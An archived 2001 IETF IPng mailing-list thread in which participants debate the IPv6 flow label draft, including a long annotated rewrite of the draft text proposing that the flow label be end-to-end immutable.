OAA12649 for ; Fri, 21 Dec 2001 14:34:37 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA26864 for ; Fri, 21 Dec 2001 14:34:37 -0800 (PST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id OAA29878; Fri, 21 Dec 2001 14:33:33 -0800 (PST) Message-Id: <4.2.2.20011221171951.01f9d100@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Dec 2001 17:29:34 -0500 To: "Tony Hain" From: Margaret Wasserman Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Cc: In-Reply-To: References: <4.2.2.20011221111819.00a82100@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >...so why are we still talking >about it? Because I still haven't seen a compelling argument for why we need additional rules regarding the flow label, beyond those that are already included in RFC 2460. You have given one single example (the congestion discard case), where an ambiguous flow label might have some limited usefulness. [Have you analyzed how this compares to other congestion management techniques, BTW?] However, in order to get this limited usefulness, we would need to place constraints on all possible IPv6 flow management systems that would use the flow label (specifically, that it would be e2e, and that the same value would infrequently be used between the same src/dst pair, such as in the random case.). You have not demonstrated (or even tried to argue) why this one congestion control technique would warrant placing these restrictions on all IPv6 flow management mechanisms. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 14:39:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLMdMZR005884 for ; Fri, 21 Dec 2001 14:39:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLMdMlm005883 for ipng-dist; Fri, 21 Dec 2001 14:39:22 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLMdIZR005876 for ; Fri, 21 Dec 2001 14:39:18 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA02078 for ; Fri, 21 Dec 2001 14:39:20 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA21122 for ; Fri, 21 Dec 2001 14:39:20 -0800 (PST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id OAA03357; Fri, 21 Dec 2001 14:38:19 -0800 (PST) Message-Id: <4.2.2.20011221173505.01fd64b0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Dec 2001 17:38:41 -0500 To: "Hesham Soliman (ERA)" From: Margaret Wasserman Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Cc: ipng@sunroof.eng.sun.com In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C185@Esealnt861.al.sw. ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Hesham, >=> Perhaps another way to look at this, is to >come back to basics and say that the flow label >is part of the IPv6 header, therefore it seems >rational to let IPv6 WG define its use. >I don't see anything wrong with this, no other >fields in the IPv6 header are defined by other >groups. This is acceptable to me, if it represents a consensus view of the WG. But, in this case, we should go all the way and actually specify a useful flow label -- one that could be used to look-up cached information on intermediate routers without a signalling protocol, for example. But, the current effort does not seem focused on defining an actual use for the flow label. We seem to be focused on defining restrictions on the flow label, without a specific use that justifies those restrictions. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 15:28:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLNS1ZR005972 for ; Fri, 21 Dec 2001 15:28:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLNS1um005971 for ipng-dist; Fri, 21 Dec 2001 15:28:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLNRwZR005964 for ; Fri, 21 Dec 2001 15:27:58 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA21413 for ; Fri, 21 Dec 2001 15:27:59 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA18345 for ; Fri, 21 Dec 2001 16:28:42 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 21 Dec 2001 15:27:44 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 59FBD6C2D6AF4CB8883425BCC83D4E9C for plus 1 more; Fri, 21 Dec 2001 15:27:44 -0800 From: "Tony Hain" To: "Margaret Wasserman" Cc: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 15:27:43 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <4.2.2.20011221171951.01f9d100@mail.windriver.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal X-SLUIDL: 82B57FDC-6E744AB6-AEF544C0-5548784F Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > You have given one single example (the congestion discard > case), where an ambiguous flow label might have some > limited usefulness. You asked for an example, and that was the one that came to mind without any significant study. > [Have you analyzed how this compares > to other congestion management techniques, BTW?] Not in any detail, I considered it to be a simple example of how one might augment some of the existing congestion techniques. > However, in order to get this limited usefulness, we would > need to place constraints on all possible IPv6 flow management > systems that would use the flow label (specifically, that it > would be e2e, and that the same value would infrequently > be used between the same src/dst pair, such as in the > random case.). > > You have not demonstrated (or even tried to argue) why this > one congestion control technique would warrant placing these > restrictions on all IPv6 flow management mechanisms. I clearly have not demonstrated it to your satisfaction, but I have argued that architecturally we need both a mutable and an e2e immutable field to address different parts of the problem space, and specifically that the only point with the knowledge to associate packets as a flow is the origin application/host. Conversely, those arguing against locking it down have not demonstrated why the mutability of the DSCP is insufficient for any conceivable scenario where mutability is required. Specifically what would be the purpose in having 2 fields that are modified by the routers? Why wouldn't the existing DSCP be capable of expressing different semantics through different bit patterns? How does adding a separate 20 bits make that any different? If we are simply arguing about who gets to decide, then I believe the IPv6 WG is the responsible entity for defining the architectural behavior of the header fields. As such I return to the base issue, at least one field needs to be end-to-end immutable, and the only one available is the FL. This of course works well since the origin node is the only one who could properly define a flow anyway. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 16:34:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBM0YVZR006282 for ; Fri, 21 Dec 2001 16:34:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBM0YUQR006281 for ipng-dist; Fri, 21 Dec 2001 16:34:30 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBM0YRZR006274 for ; Fri, 21 Dec 2001 16:34:27 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA00785 for ; Fri, 21 Dec 2001 16:34:29 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA28068 for ; Fri, 21 Dec 2001 16:34:28 -0800 (PST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBM0Xm4e012934; Fri, 21 Dec 2001 18:33:49 -0600 (CST) Message-ID: <01a801c18a82$2ce262a0$1000a8c0@Unir.com> From: "Jim Fleming" To: "Brian E Carpenter" , "Margaret Wasserman" Cc: References: <4.2.2.20011220133537.024a12e0@mail.windriver.com> <4.2.2.20011220144423.01f5e100@mail.windriver.com> <4.2.2.20011221111819.00a82100@mail.windriver.com> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 18:47:02 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "Margaret Wasserman" To: "Brian E Carpenter" Cc: Sent: Friday, December 21, 2001 12:18 PM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > Hi Brian, > > >If it is defined architecturally as an immutable e2e value, there > >are immediate ways to use it in hardware that will work for any > >semantics we may later add to it. > > Could you give an example? > Examples of Architecture ? http://www.dot-biz.com/RepliGate/VPC/ C@t started in 1982....people "borrowed it" and called it J-something... ....I think we need to let the C@ts loose.... Jim Fleming http://www.ddj.com/articles/search/search.cgi?q=fleming Oct93: The C+@ Programming Language -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 18:12:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBM2CkZR006345 for ; Fri, 21 Dec 2001 18:12:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBM2Ck4E006344 for ipng-dist; Fri, 21 Dec 2001 18:12:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBM2ChZR006337 for ; Fri, 21 Dec 2001 18:12:43 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA15931 for ; Fri, 21 Dec 2001 18:12:45 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA05709 for ; Fri, 21 Dec 2001 19:13:33 -0700 (MST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Fri, 21 Dec 2001 18:12:42 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 11C91A8C7A454CF198F4B753C781309D for ; Fri, 21 Dec 2001 18:12:41 -0800 From: "Tony Hain" To: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 18:12:40 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <4.2.2.20011221171951.01f9d100@mail.windriver.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal X-SLUIDL: F447ED9B-CBC14134-AB30F408-68F47A48 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk May I offer an updated set of text which focuses on a consistent use of the term FLOW and tries to issolate it from discussions of state or the mechanisms to establish that: >>>----------------------------------------------------- IPv6 Working Group J. Rajahalme ... Abstract The IPv6 flow label field has been intentionally ambiguous to date. This document will define it to allow eliminating protocol layer violations and the related problems from flow specific packet classifiers. The appendix of this document provides an analysis of the current state of the IPv6 flow label field definition. This document proposes new text to be included in the next revision of the IPv6 specification specifically to define the field. This document will not specify state establishment mechanisms which might be associated with a flow. ... Introduction Overview At the time when the IPv6 specification [RFC2460] was written, the requirements for flow label field usage were unclear. The last several years of work in IETF provide new perspective and framework for the standardization of the IPv6 flow label. Also, the new charter of the IPv6 Working Group invites contributions to flow label standardization. A detailed problem statement is provided in section 1.2, and the goals for the flow label definition in 1.3. Section 2 provides an analysis of the current definition of the IPv6 flow label [RFC2460, RFC1809, RFC2205]. Section 3 details the new definition with its implications, with proposed text to be included in the next revision of the IPv6 specification. Finally, section 4 provides some useful background information on the topic. Terminology Flow A collection or sequence of packets which the origin application or host has declared to be associated. This declaration is intended to establish equal treatment of the set, but the mechanism for deciding what that treatment might be is outside the scope of this document. Classifier An entity which selects packets based on the content of packet headers according to defined rules. Control plane Part of the router taking care of router control functions, such as routing protocols and flow set-up signaling protocols. Controls the functions of the forwarding plane. Forwarding plane Part of the router receiving and forwarding user packets; also known as "fast path". Multi-Field (MF) A classifier which selects packets based on Classifier the content of some arbitrary number of header fields. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119. Problem Statement The IPv6 flow label field is designed to enable efficient classification of packets that should receive consistent treatment. Current IPv4 attempts to accomplish this without the flow label are based on snooping the transport header information (port numbers). Snooping in the transport header is problematic due to several factors: - The transport header may be unavailable because of either fragmentation, or IPsec encryption. - Usage of IPv6 extension headers make finding the transport header expensive, even if it is available. - Finally, reliance on the transport header information is a layer violation and hinders introduction of new transport layer protocols (e.g. SCTP). Requirements The IPv6 protocol specification MUST state architectural rules, if any, governing the use of the flow label field by any flow state establishment method, and SHOULD enable co-existence of different flow state establishment methods in IPv6 hosts and routers. The space of possible flow state establishment methods SHOULD NOT be restricted to signaling protocols. For example, the IPv6 protocol specification should allow for future definition of administratively provisioned flow handling. The models for the use of the flow label and their specific state establishment methods should enable eliminating the layer violations in flow specific packet classifiers, thus facilitating evolution of the higher protocol layers independent of the specific flow state establishment method. Changes to the current specification SHOULD be kept minimal, and backwards compatibility MUST be maintained. Discussion For the purpose of this document the rules from the Appendix A of [RFC2460] are rearranged as follows: (a) A flow is uniquely identified by the combination of a source address and a non-zero flow label. (b) Packets that do not belong to a flow carry a flow label of zero. (c) A flow label is assigned to a flow by the flow's source node. (d) New flow labels must be chosen (pseudo-)randomly and uniformly from the range 1 to FFFFF hex. The purpose of the random allocation is to make any set of bits within the Flow Label field suitable for use as a hash key by routers, for looking up the state associated with the flow. (e) All packets belonging to the same flow must be sent with the same source address, destination address, and flow label. (f) If packets of a flow include a Hop-by-Hop Options header, then they all must be originated with the same Hop-by-Hop Options header contents (excluding the Next Header field of the Hop-by- Hop Options header). *** I left this in, but I think it needs to go because this would appear to preclude an in-line signaling protocol which wanted to establish/refresh state without requiring every packet in the flow to be hop-by-hop. (g) If packets of a flow include a Routing header, then they all must be originated with the same contents in all extension headers up to and including the Routing header (excluding the Next Header field in the Routing header). (h) The routers or destinations are permitted, but not required, to verify that these conditions are satisfied. If a violation is detected, it should be reported to the source by an ICMP Parameter Problem message, Code 0, pointing to the high-order octet of the Flow Label field (i.e., offset 1 within the IPv6 packet). x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- (i) The maximum lifetime of any flow-handling state established along a flow's path must be specified as part of the description of the state-establishment mechanism, e.g., the resource reservation protocol or the flow-setup hop-by-hop option. This has to go... we are defining the field here, not a state establishment mechansim. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- (j) A source SHOULD NOT reuse a flow label for a new flow within the maximum lifetime of any flow-handling state that might have been established for the prior use of that flow label. When a node stops and restarts (e.g., as a result of a "crash"), it must be careful not to use a flow label that it might have used for an earlier flow whose lifetime may not have expired yet. *** Again, we are defining the lable here, not state establishment policy. I don't have a problem changing the text to SHOULD NOT, but the open question is why is reuse of a flow label a problem? Applicability of the RFC 2460 Flow Label Definition As stated in [RFC2460], the motivation for the Flow Label field is to request special handling for the packets belonging to a flow. The flow label value itself has no globally recognized semantics, but it can be used by routers to determine the appertaining of a packet to a certain flow (classification), and to find the state containing the definition for the "special handling" admitted for that flow. The exact nature of the "special handling" is defined through means other than the flow label itself. At the time of the definition of the rules in [RFC2460] the major method for defining the "special handling" by routers was the resource reservation signaling protocol (RSVP) of the "Integrated Services" architecture [RFC1633, RFC2205]. With the hindsight it seems that some of the flow label rules set in [RFC2460] Appendix A are quite specific to the Integrated Services model, and block the way forward for definition of other flow state establishment methods. Some specific points are raised in the following subsections. Lacking Support for RSVP WF Reservation Style The Wildcard-Filter (WF) reservation style allows the RSVP session destination to reserve resources for transmission by any of the senders of the RSVP session. All the state that can be utilized for packet classification with the WF-style session is in the RSVP Session object, since the WF-style reservations have no Filter Specs [RFC2205]. Currently, for end-to-end flows, the Session object can only be specified in the terms of the destination address, transport protocol identifier (Id), and the destination port number. This results in layer violation in packet classification with all the identified problems (inefficiency, fragmentation, IPsec) in spite of using the flow label Filter Specs. For WF-style sessions this situation could be remedied with a new type (or "C-Type") of a Session object, where only the destination IPv6 address and the flow label are specified (quite much like the Session object defined in [RFC3175] for aggregated flows). For other flow styles it might be more appropriate to have the session object to specify the destination address only, and have each Filter Spec to contain the source's flow label. The problem with the current flow label rules is that if the flow label is set according to information received from the destination (e.g. through the Session Announcement Protocol (SAP)), it becomes possible that the same flow label value should be used for two different flows from the same source simultaneously. This can happen if the source is taking part to two different sessions with different destinations, and the flow label number generators in the destinations happen to pick up the same number. This is in direct contrast with the rule (a) above. Requesting the destination to pick another flow label would be infeasible, if the RSVP sessions already have other senders. New Flow Label Specification The section proposes new text to be included in the IPv6 Specification. The section 3.1 is intended to provide a new version of the text in [RFC2460] section 6. The text in sections 3.2 and 3.3 could go to different parts of the IPv6 specification. Proposed Flow Label Text for IPv6 Specification The 20-bit Flow Label field in the IPv6 header MAY be used by a source to label sequences of packets for which it requests special handling. A non-zero flow label indicates that the IPv6 packet is labeled. IPv6 nodes receiving a labeled IPv6 packet can use the Source Address, Flow Label, Destination Address triplet to classify the packet. A flow may be given some specific treatment based on the state established on a set of IPv6 routers. The nature of the specific treatment and the methods for the state establishment are out of scope for this specification. The host MUST keep track of the Flow Label values in use to avoid trying to establish conflicting state. The Flow Label value, when set, is end-to-end immutable. Hosts or routers that do not support the functions of the Flow Label field MUST set the field to zero when originating a packet, and ignore the field when receiving a packet. Routers MUST pass the field on unchanged when forwarding a packet. Requirements for State Establishment Methods The following MUST be considered by all state establishment methods: (1) A flow is uniquely identified by the combination of the source address, non-zero flow label, and the destination address. (2) All state MUST be created with a state establishment method. All such methods are out of scope for this specification. (3) Flow state with the flow label value zero SHALL NOT be created. *** this seems like a bogus point. If someone wants to create a state for the zero label there is no reason to preclude that. (4) Host implementations SHOULD keep track of the flow label values used by any state establishment methods and avoid reuse for a given destination. (5) A flow label value is end-to-end immutable. (6) The maximum lifetime of any established state must be specified as part of the state establishment method. *** We are defining the lable here, not state establishment policy. (7) A source MAY reuse a flow label value any time, unless otherwise specified by the state establishment method for the new flow. (8) All state establishment methods MUST allow for the case where a router determines the offered flow to be in conflict with state created with an other state establishment method. If a conflict is detected, it SHOULD be reported by the state establishment method. *** Again, we are defining the label here, not state establishment policy. Implications of the New Definition - The same flow label value can be used for different flows with the same source addresses, provided that the destination addresses are different (1). - Each (source address, flow label, destination address) triplet can uniquely determine a flow which may be used to identify the relevant state, if any (1). x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- However, multiple different triplets MAY determine the same flow, and refer to the same flow state, depending on how the flow was defined with the flow state establishment method. This is an example of the confused definition for flow in this document. A flow is an end-to-end association of packets between a src/dst pair. There is no way multiple triplets could define the same flow. The intent here is obvoiusly to allow multiple flows to share some established state, but that does not mean we are redefining the context of a flow. This text has to go. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- - The only requirement for a flow label value used for the flow is that it MUST be non-zero (3). However, specific state establishment methods MAY expect (non-zero) pseudo-random numbers as flow label values. - A non-zero flow label value is guaranteed to be received by the destination. If the source sends the packet with a zero flow label value, a router in the network MAY set the flow label value to a non-zero value (5). x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- - A non-zero flow label value MAY be changed in transit by a router, but the original value MUST be restored before the packet leaves the domain of the flow state establishment method defining such a temporary change (5). This text is unnecessary and needs to be removed. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- - state lifetime may also be indefinite, if so specified by a state establishment method. The method MUST also provide the means to guarantee no dangling state (6). **** This is defining state policy, not the flow label characteristics. Remove the last sentence at least, and the first makes no sense in isolation. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- - If new flow state is signaled through a certain path, the routers can flush any old state they might have, and install the new flow state (7). *** This is bogus ... if separate apps on the same src/dst pair are establishing flows, one MUST NOT be able to affect the other. Remove this. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- - Some host implementations of state establishment methods might be impractical or impossible to synchronize in a host environment (e.g., the host OS may implement one method in the kernel with no interface to user space, where another state establishment method is residing). Therefore the routers MUST be able to return an error as part of the state establishment response, if the offered flow is deemed conflicting with a state created by another state establishment method. Local policy at the router MAY set a precedence between the state establishment methods, and MAY be able to cancel a lower precedence flow in favor of the new flow (8). Again, this is defining state establishment policy, not the label. In addition, if it is intended as a modifier to the previous bogus point, it needs to go as well. This is as good a place as any to note that all references to establishing state have the word flow removed, and in several places the individual use of the term flow has been replaced by the term state because that is the correct context. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- Conceptual Models Relating to the Flow Label About Packet Classification This section briefly summarizes issues relating to packet classification relating to the use of the flow label. Packet classification happens in a context of an agreement ("contract") between a "customer" and a "provider". The only fields in the IP packet header that the provider can utilize in mapping a packet to a specific customer's contract are the source and destination address fields. We call this "customer classification". Other information, such as incoming link, can also be used to map packets to the customer's contract. In the context of the contract governing the packet, the packet can be further classified to a flow. The packet filter rules for the flow classifiers in the network are part of the flow state. The flow state also specifies what kind of "special handling" the packets of the flow should get, and what are the flow traffic parameters (e.g. bandwidth, delay, etc.) and contains the flow usage counters. It should be noted that the actual values of the header fields specified in a flow classifier are immaterial to the network operator - the operator assigns no specific semantics to any of the fields. Actual implementations will likely combine the "customer classification" and flow classification into one filter rule, but the conceptual separation between the two is essential. Usage of the IPv6 flow label greatly simplifies the filter rules, as the classification can be done on the basis of the IP addresses and the flow label alone. A packet classified to a flow can be further mapped to a Behavior Aggregate (BA), enabling other routers in the network bypass flow classification. The Differentiated Services Code Point (DSCP) field is used to identify the selected BA [RFC2475]. The paragraphs in this section appear to be statements of fact that have no value in defining the FL field. Either this is introductory material about why we would even define the field, or it is irrelevant and needs to go. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- Host Considerations for the Flow Label Choosing Flow Label Values A specific flow state establishment method MAY set requirements on the flow label values to be used. In any case, the host implementation SHOULD keep track of the actual flow label values being used between a local source address and any destination addresses. The same facility keeping track of the flow label values SHOULD be utilized to check whether the flow label value chosen by the flow state establishment method is currently in use or not between the given source and destination address pair, and SHOULD also return a flow label value assigned by host implementation specific algorithm, if the flow state establishment method did not specify any specific value. End-to-End Negotiation Flow label values for flows SHOULD be included as part of any end-to- end signaling dealing with the flow, e.g. RSVP for resource reservation, or SIP/SDP for end-to-end session establishment. RSVP usage is analogous to the familiar MF classifier, but now the flow label replaces the need to specify the transport protocol and port numbers for the flow classifier. In the case of SIP either the source or the destination could have a preference for the flow label value to be used. For example, the destination could have an agreement with its access provider effecting flow state for "special handling" for all packets marked with a certain flow label value towards the destination. Therefore the source SHOULD honor the destination's request to mark the packets with the flow label value specified. Relation to the Other Packet Header Fields A flow is uniquely identified by the (source address, flow label, destination address) triplet. Any possible constraints for the rest of the IPv6 header fields or extension headers are to be specified by the flow state establishment method defining the flow semantics. Flow state establishment methods SHOULD include the Mobile IP Home Addresses of the source and the destination in the state establishment process, if available. This enables avoiding state duplication on fixed portions of the path when either end changes its Care-of Address. Router Considerations for the Flow Label Flow Label is End-to-End Immutable Routers MUST NOT change the end-to-end flow label value. The flow state establishment method SHOULD be able to tell the destination which value to expect on the received packets. Flow Label Values Have No Globally Known Properties The router MUST NOT assume any specific property on the flow label values assigned by hosts. Router performance SHOULD NOT be dependent on the overall distribution of the flow label values of the established flows. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- State mechanisms are not being defined here. Conceptual Model for Flow State This section lays out a simple conceptual model for minimal flow state in the router forwarding plane. Actual implementations may choose any implementation methods they like. Router forwarding plane needs to maintain at least the following information (flow state) for each defined flow: Source Address, The triplet identifying the flow. Flow Label, Destination Address Flow Accounting Counter of the number of bytes or packets of Information the flow data forwarded. The router control plane can see from this if the flow has been active (since it was last checked), and how much data has been forwarded (useful for accounting purposes). Forwarding Defines the actual "special handling" the flow Treatment packets are subjected to. The flow state is created by the router control plane via a flow state establishment method. The flow state establishment method definitions are out of scope for this specification. Stale flow state is deleted by the router control plane after the flow expires, or when a new flow state overriding the old is created. The flow state can also be explicitly deleted via the flow state establishment method. Classification Packet classification is done by the router forwarding plane on the flat 20-bit flow label, and the source and destination address fields. When matching flow state has been found, the router will be able to update the Flow Accounting Information and forward the packet with the "special handling" as specified by the Forwarding Treatment in the flow state. If flow state can not be located for a packet it is forwarded as if the flow label was zero, but the flow label is left intact. No flow state is maintained for unknown flows. x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x- **** This text was moved from the begining, and should become an appendix to explain why this document is doing something different. There is no need for a laborious analysis of history as part of the base definition for the FL field. At this point there is enough hacking on the text that further effort needs to be done in context of a rewritten draft. Current non-normative text in the Appendix A of [RFC2460] seems to be specific to the Integrated Services service model, unnecessarily restricting future work on defining new state establishment methods, but at the same time falls short in enabling flow label based classification of RSVP defined end-to-end flows in all cases. The current normative specification of the flow label field in [RFC2460] is providing inadequate guidance for different flow state establishment methods to be defined. See section 2.2 for more detailed analysis of the problems with Appendix A definition. 2. Analysis of the RFC 2460 Flow Label Specification 2.1 RFC 2460 Definition of the Flow Label The IPv6 Flow Label is defined in [RFC2460] as a 20 bit field in the IPv6 header which may be used by a source to label sequences of packets for which it requests special handling by the IPv6 routers, such as non-default quality of service or "real-time" service. The Flow Label aspect of IPv6 is stated to be "still experimental and subject to change". The only rule set for the flow label in the main body of the [RFC2460] is that if the Flow Label field 